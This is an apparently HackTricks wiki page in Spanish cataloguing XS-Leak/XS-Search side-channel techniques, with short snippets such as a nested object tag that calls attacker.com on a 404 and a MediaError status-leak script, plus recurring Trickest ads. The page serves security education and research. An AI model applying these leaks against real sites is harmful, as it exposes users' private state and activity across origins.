90 KiB
XS-Search/XS-Leaks
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el merchandising oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Información Básica
XS-Search es un método utilizado para extraer información de origen cruzado aprovechando vulnerabilidades de canal lateral.
Los componentes clave involucrados en este ataque incluyen:
- Web Vulnerable: El sitio web objetivo del cual se pretende extraer información.
- Web del Atacante: El sitio web malicioso creado por el atacante, que la víctima visita, alojando el exploit.
- Método de Inclusión: La técnica empleada para incorporar la Web Vulnerable en la Web del Atacante (por ejemplo, window.open, iframe, fetch, etiqueta HTML con href, etc.).
- Técnica de Fuga: Técnicas utilizadas para discernir diferencias en el estado de la Web Vulnerable basadas en la información recopilada a través del método de inclusión.
- Estados: Las dos condiciones potenciales de la Web Vulnerable, que el atacante busca distinguir.
- Diferencias Detectables: Variaciones observables en las que el atacante se basa para inferir el estado de la Web Vulnerable.
Diferencias Detectables
Varios aspectos pueden analizarse para diferenciar los estados de la Web Vulnerable:
- Código de Estado: Distinguir entre varios códigos de estado de respuesta HTTP de origen cruzado, como errores de servidor, errores de cliente o errores de autenticación.
- Uso de API: Identificar el uso de APIs web en las páginas, revelando si una página de origen cruzado emplea una API web específica de JavaScript.
- Redirecciones: Detectar navegaciones a diferentes páginas, no solo redirecciones HTTP, sino también aquellas desencadenadas por JavaScript o HTML.
- Contenido de la Página: Observar variaciones en el cuerpo de la respuesta HTTP o en los subrecursos de la página, como el número de marcos incrustados o disparidades de tamaño en imágenes.
- Encabezado HTTP: Notar la presencia o posiblemente el valor de un encabezado de respuesta HTTP específico, incluidos encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
- Tiempo: Observar disparidades de tiempo consistentes entre los dos estados.
Métodos de Inclusión
- Elementos HTML: HTML ofrece varios elementos para inclusión de recursos de origen cruzado, como hojas de estilo, imágenes o scripts, obligando al navegador a solicitar un recurso no HTML. Una recopilación de posibles elementos HTML para este propósito se puede encontrar en https://github.com/cure53/HTTPLeaks.
- Marcos: Elementos como iframe, object y embed pueden incrustar recursos HTML directamente en la página del atacante. Si la página carece de protección de enmarcado, JavaScript puede acceder al objeto window del recurso enmarcado a través de la propiedad contentWindow.
- Pop-ups: El método
window.open
abre un recurso en una nueva pestaña o ventana, proporcionando un identificador de ventana para que JavaScript interactúe con métodos y propiedades siguiendo la SOP. Los pop-ups, a menudo utilizados en inicio de sesión único, evitan las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de pop-ups a ciertas acciones del usuario. - Solicitudes JavaScript: JavaScript permite solicitudes directas a recursos objetivo utilizando XMLHttpRequests o la Fetch API. Estos métodos ofrecen un control preciso sobre la solicitud, como optar por seguir redirecciones HTTP.
Técnicas de Fuga
- Manejador de Eventos: Una técnica de fuga clásica en XS-Leaks, donde los manejadores de eventos como onload y onerror proporcionan información sobre el éxito o fracaso de la carga de recursos.
- Mensajes de Error: Excepciones de JavaScript o páginas de error especiales pueden proporcionar información de fuga directamente desde el mensaje de error o diferenciando entre su presencia y ausencia.
- Límites Globales: Limitaciones físicas de un navegador, como la capacidad de memoria u otros límites impuestos por el navegador, pueden indicar cuándo se alcanza un umbral, sirviendo como técnica de fuga.
- Estado Global: Las interacciones detectables con los estados globales de los navegadores (por ejemplo, la interfaz History) pueden ser explotadas. Por ejemplo, el número de entradas en el historial de un navegador puede ofrecer pistas sobre páginas de origen cruzado.
- API de Rendimiento: Esta API proporciona detalles de rendimiento de la página actual, incluidos los tiempos de red para el documento y los recursos cargados, permitiendo inferencias sobre los recursos solicitados.
- Atributos Legibles: Algunos atributos HTML son legibles de origen cruzado y pueden utilizarse como técnica de fuga. Por ejemplo, la propiedad
window.frame.length
permite a JavaScript contar los marcos incluidos en una página web de origen cruzado.
Herramienta XSinator y Documento
XSinator es una herramienta automática para verificar navegadores contra varios XS-Leaks conocidos explicados en su documento: https://xsinator.com/paper.pdf
Puedes acceder a la herramienta en https://xsinator.com/
{% hint style="warning" %} XS-Leaks Excluidos: Tuvimos que excluir XS-Leaks que dependen de service workers ya que interferirían con otras fugas en XSinator. Además, elegimos excluir XS-Leaks que dependen de configuraciones incorrectas y errores en una aplicación web específica. Por ejemplo, configuraciones incorrectas de Compartir Recursos de Origen Cruzado (CORS), fugas de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos. {% endhint %}
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Técnicas basadas en tiempo
Algunas de las siguientes técnicas van a utilizar el tiempo como parte del proceso para detectar diferencias en los posibles estados de las páginas web. Hay diferentes formas de medir el tiempo en un navegador web.
Relojes: La API performance.now() permite a los desarrolladores obtener medidas de tiempo de alta resolución.
Hay una cantidad considerable de APIs que los atacantes pueden abusar para crear relojes implícitos: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animaciones CSS, entre otros.
Para más información: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
Técnicas de Manejador de Eventos
Onload/Onerror
- Métodos de Inclusión: Marcos, Elementos HTML
- Diferencia Detectable: Código de Estado
- Más información: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Resumen: si se intenta cargar un recurso y se activan los eventos onerror/onload cuando el recurso se carga con éxito/no con éxito, es posible averiguar el código de estado.
- Ejemplo de código: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}
El ejemplo de código intenta cargar objetos de scripts desde JS, pero otros tags como objetos, hojas de estilo, imágenes, audios también podrían ser utilizados. Además, también es posible inyectar directamente el tag y declarar los eventos onload
y onerror
dentro del tag (en lugar de inyectarlo desde JS).
También existe una versión de este ataque sin scripts:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
En este caso, si example.com/404
no se encuentra, se cargará attacker.com/?error
.
Tiempo de carga
- Métodos de inclusión: Elementos HTML
- Diferencia detectable: Tiempo (generalmente debido al contenido de la página, código de estado)
- Más información: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Resumen: La API performance.now() se puede utilizar para medir cuánto tiempo se tarda en realizar una solicitud. Sin embargo, se podrían utilizar otros relojes, como la API PerformanceLongTaskTiming que puede identificar tareas que se ejecutan durante más de 50 ms.
- Ejemplo de código: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events otro ejemplo en:
{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}
Tiempo de carga + Tarea pesada forzada
Esta técnica es similar a la anterior, pero el atacante también forzará alguna acción para que tome un tiempo relevante cuando la respuesta sea positiva o negativa y medirá ese tiempo.
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}
Tiempo de descarga/cierre antes de la descarga
- Métodos de inclusión: Marcos
- Diferencia detectable: Tiempo (generalmente debido al contenido de la página, código de estado)
- Más información: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Resumen: El reloj SharedArrayBuffer se puede utilizar para medir cuánto tiempo se tarda en realizar una solicitud. Se podrían utilizar otros relojes.
- Ejemplo de código: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
El tiempo que se tarda en buscar un recurso se puede medir utilizando los eventos unload
y beforeunload
. El evento beforeunload
se dispara cuando el navegador está a punto de navegar a una nueva página, mientras que el evento unload
ocurre cuando la navegación realmente está teniendo lugar. La diferencia de tiempo entre estos dos eventos se puede calcular para determinar la duración que el navegador pasó buscando el recurso.
Tiempo de marco con restricciones + carga
- Métodos de inclusión: Marcos
- Diferencia detectable: Tiempo (generalmente debido al contenido de la página, código de estado)
- Más información: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Resumen: La API performance.now() se puede utilizar para medir cuánto tiempo se tarda en realizar una solicitud. Se podrían utilizar otros relojes.
- Ejemplo de código: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Se ha observado que en ausencia de Protecciones de Enmarcado, un atacante puede medir el tiempo requerido para que una página y sus subrecursos se carguen a través de la red. Esta medición es típicamente posible porque el controlador onload
de un iframe se activa solo después de completarse la carga de recursos y la ejecución de JavaScript. Para evitar la variabilidad introducida por la ejecución de scripts, un atacante podría emplear el atributo sandbox
dentro del <iframe>
. La inclusión de este atributo restringe numerosas funcionalidades, especialmente la ejecución de JavaScript, facilitando así una medición que está predominantemente influenciada por el rendimiento de la red.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Contenido de la Página
- Más información:
- Resumen: Si puedes hacer que la página genere un error cuando se accede al contenido correcto y cargarla correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo.
- Ejemplo de Código:
Supongamos que puedes insertar la página que tiene el contenido secreto dentro de un Iframe.
Puedes hacer que la víctima busque el archivo que contiene "flag" usando un Iframe (explotando un CSRF, por ejemplo). Dentro del Iframe, sabes que el evento onload se ejecutará siempre al menos una vez. Luego, puedes cambiar la URL del iframe pero cambiando solo el contenido del hash dentro de la URL.
Por ejemplo:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
Si la primera URL se cargó correctamente, entonces, al cambiar la parte del hash de la URL, el evento onload no se activará nuevamente. Pero si la página tuvo algún tipo de error al cargarse, entonces, el evento onload se activará nuevamente.
Entonces, puedes distinguir entre una página cargada correctamente o una página que tiene un error al ser accedida.
Ejecución de Javascript
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Contenido de la Página
- Más información:
- Resumen: Si la página está devolviendo el contenido sensible, o un contenido que puede ser controlado por el usuario. El usuario podría establecer código JS válido en el caso negativo, y cargar cada intento dentro de las etiquetas
<script>
, por lo que en los casos negativos el código de los atacantes se ejecuta, y en los casos afirmativos no se ejecutará nada. - Ejemplo de Código:
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}
CORB - Onerror
- Métodos de Inclusión: Elementos HTML
- Diferencia Detectable: Código de Estado y Encabezados
- Más información: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Resumen: Cross-Origin Read Blocking (CORB) es una medida de seguridad que evita que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como Spectre. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a CORB devuelve un
Content-Type
protegido por CORB connosniff
y un código de estado2xx
, CORB elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del código de estado (indicando éxito o error) y elContent-Type
(indicando si está protegido por CORB), lo que lleva a una posible fuga de información. - Ejemplo de Código:
Consulta el enlace de más información para obtener más detalles sobre el ataque.
onblur
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Contenido de la Página
- Más información: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Resumen: Filtrar datos sensibles del atributo id o name.
- Ejemplo de Código: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
Es posible cargar una página dentro de un iframe y usar el #id_value
para hacer que la página se enfoque en el elemento del iframe con el id indicado, luego si se activa una señal onblur
, el elemento ID existe.
Puedes realizar el mismo ataque con etiquetas portal
.
Transmisiones de postMessage
- Métodos de Inclusión: Marcos, Pop-ups
- Diferencia Detectable: Uso de API
- Más información: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Resumen: Recopilar información sensible de un postMessage o utilizar la presencia de postMessages como un oráculo para conocer el estado del usuario en la página.
- Ejemplo de Código:
Cualquier código escuchando todos los postMessages.
Las aplicaciones utilizan con frecuencia las transmisiones de postMessage
para comunicarse entre diferentes orígenes. Sin embargo, este método puede exponer inadvertidamente información sensible si el parámetro targetOrigin
no está especificado correctamente, lo que permite que cualquier ventana reciba los mensajes. Además, el simple acto de recibir un mensaje puede actuar como un oráculo; por ejemplo, ciertos mensajes solo podrían enviarse a usuarios que hayan iniciado sesión. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar información sobre el estado o la identidad del usuario, como si están autenticados o no.
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Técnicas de Límites Globales
API de WebSocket
- Métodos de Inclusión: Marcos, Pop-ups
- Diferencia Detectable: Uso de API
- Más información: https://xsinator.com/paper.pdf (5.1)
- Resumen: Agotar el límite de conexión de WebSocket revela el número de conexiones WebSocket de una página de origen cruzado.
- Ejemplo de Código: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
Es posible identificar si, y cuántas, conexiones WebSocket utiliza una página objetivo. Esto permite a un atacante detectar estados de aplicación y filtrar información vinculada al número de conexiones WebSocket.
Si un origen utiliza la cantidad máxima de objetos de conexión WebSocket, independientemente de su estado de conexión, la creación de nuevos objetos resultará en excepciones de JavaScript. Para ejecutar este ataque, el sitio web del atacante abre el sitio web objetivo en un pop-up o iframe y luego, después de que se haya cargado el sitio web objetivo, intenta crear el número máximo posible de conexiones WebSocket. El número de excepciones lanzadas es el número de conexiones WebSocket utilizadas por la ventana del sitio web objetivo.
API de Pago
- Métodos de Inclusión: Marcos, Pop-ups
- Diferencia Detectable: Uso de API
- Más información: https://xsinator.com/paper.pdf (5.1)
- Resumen: Detectar la Solicitud de Pago porque solo una puede estar activa a la vez.
- Ejemplo de Código: https://xsinator.com/testing.html#Payment%20API%20Leak
Este XS-Leak permite a un atacante detectar cuándo una página de origen cruzado inicia una solicitud de pago.
Debido a que solo una solicitud de pago puede estar activa al mismo tiempo, si el sitio web objetivo está utilizando la API de Solicitud de Pago, cualquier otro intento de usar esta API fallará, y causará una excepción de JavaScript. El atacante puede aprovechar esto al intentar periódicamente mostrar la interfaz de la API de Pago. Si un intento causa una excepción, significa que el sitio web objetivo la está utilizando en ese momento. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz después de crearla.
Temporización del Bucle de Eventos
- Métodos de Inclusión:
- Diferencia Detectable: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
- Más información: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Resumen: Medir el tiempo de ejecución de una web abusando del bucle de eventos JS de un solo hilo.
- Ejemplo de Código:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
JavaScript opera en un modelo de concurrencia de bucle de eventos de un solo hilo, lo que significa que solo puede ejecutar una tarea a la vez. Esta característica puede ser explotada para medir cuánto tiempo tarda en ejecutarse el código de un origen diferente. Un atacante puede medir el tiempo de ejecución de su propio código en el bucle de eventos al despachar continuamente eventos con propiedades fijas. Estos eventos se procesarán cuando el grupo de eventos esté vacío. Si otros orígenes también están despachando eventos al mismo grupo, un atacante puede inferir el tiempo que tardan en ejecutarse estos eventos externos observando retrasos en la ejecución de sus propias tareas. Este método de monitoreo del bucle de eventos para detectar retrasos puede revelar el tiempo de ejecución del código de diferentes orígenes, exponiendo potencialmente información sensible.
{% hint style="warning" %} En una temporización de ejecución es posible eliminar factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla. {% endhint %}
Bucle de Eventos Ocupado
- Métodos de Inclusión:
- Diferencia Detectable: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
- Más información: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Resumen: Un método para medir el tiempo de ejecución de una operación web implica bloquear intencionalmente el bucle de eventos de un hilo y luego medir cuánto tiempo tarda en estar disponible nuevamente el bucle de eventos. Al insertar una operación de bloqueo (como un cálculo largo o una llamada de API síncrona) en el bucle de eventos, y monitorear el tiempo que tarda en comenzar la ejecución del código posterior, se puede inferir la duración de las tareas que se estaban ejecutando en el bucle de eventos durante el período de bloqueo. Esta técnica aprovecha la naturaleza de un solo hilo del bucle de eventos de JavaScript, donde las tareas se ejecutan secuencialmente, y puede proporcionar información sobre el rendimiento o comportamiento de otras operaciones que comparten el mismo hilo.
- Ejemplo de Código:
Una ventaja significativa de la técnica de medir el tiempo de ejecución bloqueando el bucle de eventos es su potencial para eludir el Aislamiento de Sitio. El Aislamiento de Sitio es una característica de seguridad que separa diferentes sitios web en procesos separados, con el objetivo de evitar que los sitios maliciosos accedan directamente a datos sensibles de otros sitios. Sin embargo, al influir en la temporización de ejecución de otro origen a través del bucle de eventos compartido, un atacante puede extraer indirectamente información sobre las actividades de ese origen. Este método no depende del acceso directo a los datos del otro origen, sino que observa el impacto de las actividades de ese origen en el bucle de eventos compartido, evitando así las barreras protectoras establecidas por el Aislamiento de Sitio.
{% hint style="warning" %} En una temporización de ejecución es posible eliminar factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla. {% endhint %}
Pool de Conexiones
- Métodos de Inclusión: Solicitudes JavaScript
- Diferencia Detectable: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
- Más información: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Resumen: Un atacante podría bloquear todos los sockets excepto 1, cargar la web objetivo y al mismo tiempo cargar otra página, el tiempo hasta que la última página comience a cargarse es el tiempo que tardó en cargar la página objetivo.
- Ejemplo de Código:
{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}
Los navegadores utilizan sockets para la comunicación con el servidor, pero debido a los recursos limitados del sistema operativo y el hardware, los navegadores se ven obligados a imponer un límite en el número de sockets concurrentes. Los atacantes pueden explotar esta limitación a través de los siguientes pasos:
- Asegurar el límite de sockets del navegador, por ejemplo, 256 sockets globales.
- Ocupar 255 sockets durante un período prolongado iniciando 255 solicitudes a varios hosts, diseñadas para mantener las conexiones abiertas sin completar.
- Utilizar el 256º socket para enviar una solicitud a la página objetivo.
- Intentar una 257ª solicitud a un host diferente. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta solicitud se encolará hasta que un socket esté disponible. El retraso antes de que esta solicitud continúe proporciona al atacante información sobre la temporización de la actividad de red relacionada con el 256º socket (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 aún están ocupados, lo que implica que cualquier socket recién disponible debe ser el liberado en el paso 3. El tiempo que tarda en estar disponible el 256º socket está directamente relacionado con el tiempo requerido para que la solicitud a la página objetivo se complete.
Para más información: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Técnicas de la API de Rendimiento
La API de Rendimiento
ofrece información sobre las métricas de rendimiento de las aplicaciones web, enriquecida por la API de Temporización de Recursos
. La API de Temporización de Recursos permite monitorear los tiempos detallados de las solicitudes de red, como la duración de las solicitudes. Es importante destacar que cuando los servidores incluyen el encabezado Timing-Allow-Origin: *
en sus respuestas, se obtienen datos adicionales como el tamaño de transferencia y el tiempo de búsqueda de dominio.
Esta gran cantidad de datos se puede recuperar mediante métodos como performance.getEntries
o performance.getEntriesByName
, lo que proporciona una visión integral de la información relacionada con el rendimiento. Además, la API facilita la medición de los tiempos de ejecución al calcular la diferencia entre marcas de tiempo obtenidas de performance.now()
. Sin embargo, es importante tener en cuenta que para ciertas operaciones en navegadores como Chrome, la precisión de performance.now()
puede estar limitada a milisegundos, lo que podría afectar la granularidad de las mediciones de tiempo.
Más allá de las mediciones de tiempo, la API de Rendimiento se puede aprovechar para obtener información relacionada con la seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto performance
en Chrome puede indicar la aplicación de X-Frame-Options
. Específicamente, si una página está bloqueada para renderizarse en un marco debido a X-Frame-Options
, no se registrará en el objeto performance
, lo que proporciona una pista sutil sobre las políticas de enmarcado de la página.
Fuga de Errores
- Métodos de Inclusión: Marcos, Elementos HTML
- Diferencia Detectable: Código de Estado
- Más información: https://xsinator.com/paper.pdf (5.2)
- Resumen: Una solicitud que resulta en errores no creará una entrada de temporización de recursos.
- Ejemplo de Código: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
Es posible diferenciar entre códigos de estado de respuesta HTTP porque las solicitudes que generan un error no crean una entrada de rendimiento.
Error de Recarga de Estilo
- Métodos de Inclusión: Elementos HTML
- Diferencia Detectable: Código de Estado
- Más información: https://xsinator.com/paper.pdf (5.2)
- Resumen: Debido a un error del navegador, las solicitudes que resultan en errores se cargan dos veces.
- Ejemplo de Código: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
En la técnica anterior también se identificaron dos casos en los que errores en GC llevan a que los recursos se carguen dos veces cuando no se cargan correctamente. Esto resultará en múltiples entradas en la API de Rendimiento y, por lo tanto, puede ser detectado.
Error de Fusión de Solicitudes
- Métodos de Inclusión: Elementos HTML
- Diferencia Detectable: Código de Estado
- Más información: https://xsinator.com/paper.pdf (5.2)
- Resumen: Las solicitudes que resultan en un error no pueden fusionarse.
- Ejemplo de Código: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
La técnica se encontró en una tabla en el documento mencionado, pero no se encontró una descripción de la técnica en él. Sin embargo, se puede encontrar el código fuente que lo verifica en https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Fuga de Página Vacía
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Contenido de la Página
- Más información: https://xsinator.com/paper.pdf (5.2)
- Resumen: Las respuestas vacías no crean entradas de temporización de recursos.
- Ejemplo de Código: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
Un atacante puede detectar si una solicitud resultó en un cuerpo de respuesta HTTP vacío porque las páginas vacías no crean una entrada de rendimiento en algunos navegadores.
Fuga de XSS-Auditor
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Contenido de la Página
- Más información: https://xsinator.com/paper.pdf (5.2)
- Resumen: Utilizando el Auditor XSS en Afirmaciones de Seguridad, los atacantes pueden detectar elementos específicos de la página web observando alteraciones en las respuestas cuando los payloads elaborados activan el mecanismo de filtrado del auditor.
- Ejemplo de Código: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
En Afirmaciones de Seguridad (SA), el Auditor XSS, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado paradójicamente para filtrar información sensible. Aunque esta función integrada fue eliminada de Google Chrome (GC), todavía está presente en SA. En 2013, Braun y Heiderich demostraron que el Auditor XSS podría bloquear inadvertidamente scripts legítimos, lo que lleva a falsos positivos. Basándose en esto, los investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas de origen cruzado, un concepto conocido como XS-Leaks, reportado inicialmente por Terada y elaborado por Heyes en una publicación de blog. Aunque estas técnicas eran específicas del Auditor XSS en GC, se descubrió que en SA, las páginas bloqueadas por el Auditor XSS no generan entradas en la API de Rendimiento, revelando un método a través del cual aún se podría filtrar información sensible.
Fuga de X-Frame
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Encabezado
- Más información: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Resumen: Un recurso con el encabezado X-Frame-Options no crea una entrada de temporización de recursos.
- Ejemplo de Código: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
Si una página no está permitida para ser renderizada en un iframe, no crea una entrada de rendimiento. Como resultado, un atacante puede detectar el encabezado de respuesta X-Frame-Options
.
Lo mismo sucede si se utiliza una etiqueta embed.
Detección de Descargas
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Encabezado
- Más información: https://xsinator.com/paper.pdf (5.2)
- Resumen: Las descargas no crean entradas de temporización de recursos en la API de Rendimiento.
- Ejemplo de Código: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
Similar al XS-Leak descrito, un recurso que se descarga debido al encabezado ContentDisposition, tampoco crea una entrada de rendimiento. Esta técnica funciona en todos los navegadores principales.
Inicio de Redirección de Fuga
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Redirección
- Más información: https://xsinator.com/paper.pdf (5.2)
- Resumen: La entrada de temporización de recursos filtra el tiempo de inicio de una redirección.
- Ejemplo de Código: https://xsinator.com/testing.html#Redirect%20Start%20Leak
Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes entre orígenes. El estándar define un subconjunto de atributos que deberían establecerse en cero para recursos entre orígenes. Sin embargo, en SA es posible detectar si el usuario es redirigido por la página de destino, consultando la API de Rendimiento y verificando los datos de temporización de redirectStart.
Duración de Fuga de Redirección
- Métodos de Inclusión: API Fetch
- Diferencia Detectable: Redirección
- Más información: https://xsinator.com/paper.pdf (5.2)
- Resumen: La duración de las entradas de temporización es negativa cuando ocurre una redirección.
- Ejemplo de Código: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
En GC, la duración de las solicitudes que resultan en una redirección es negativa y, por lo tanto, se puede distinguir de las solicitudes que no resultan en una redirección.
Fuga de CORP
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Encabezado
- Más información: https://xsinator.com/paper.pdf (5.2)
- Resumen: Los recursos protegidos con CORP no crean entradas de temporización de recursos.
- Ejemplo de Código: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
En algunos casos, la entrada nextHopProtocol se puede utilizar como técnica de fuga. En GC, cuando se establece el encabezado CORP, el nextHopProtocol estará vacío. Tenga en cuenta que SA no creará una entrada de rendimiento en absoluto para recursos habilitados para CORP.
Trabajador de Servicio
- Métodos de Inclusión: Marcos
- Diferencia Detectable: Uso de API
- Más información: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Resumen: Detecta si un trabajador de servicio está registrado para un origen específico.
- Ejemplo de Código:
Los trabajadores de servicio son contextos de secuencia de comandos basados en eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y almacenar en caché recursos para crear aplicaciones web sin conexión.
Si un recurso almacenado en caché por un trabajador de servicio se accede a través de un iframe, el recurso se cargará desde la caché del trabajador de servicio.
Para detectar si el recurso se cargó desde la caché del trabajador de servicio, se puede utilizar la API de Rendimiento.
Esto también se puede hacer con un ataque de temporización (consulte el documento para obtener más información).
Caché
- Métodos de Inclusión: API Fetch
- Diferencia Detectable: Temporización
- Más información: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Resumen: Es posible verificar si un recurso se almacenó en la caché.
- Ejemplo de Código: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Usando la API de Rendimiento es posible verificar si un recurso está en caché.
Duración de Red de Fuga
- Métodos de Inclusión: API Fetch
- Diferencia Detectable: Contenido de la Página
- Más información: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Resumen: Es posible recuperar la duración de la red de una solicitud desde la API
performance
. - Ejemplo de Código: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Técnica de Mensajes de Error
Error de Medios
- Métodos de Inclusión: Elementos HTML (Video, Audio)
- Diferencia Detectable: Código de Estado
- Más información: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Resumen: En Firefox es posible filtrar con precisión el código de estado de una solicitud entre orígenes.
- Ejemplo de Código: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}
function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
Error de CORS
- Métodos de Inclusión: Fetch API
- Diferencia Detectable: Encabezado
- Más información: https://xsinator.com/paper.pdf (5.3)
- Resumen: En Afirmaciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
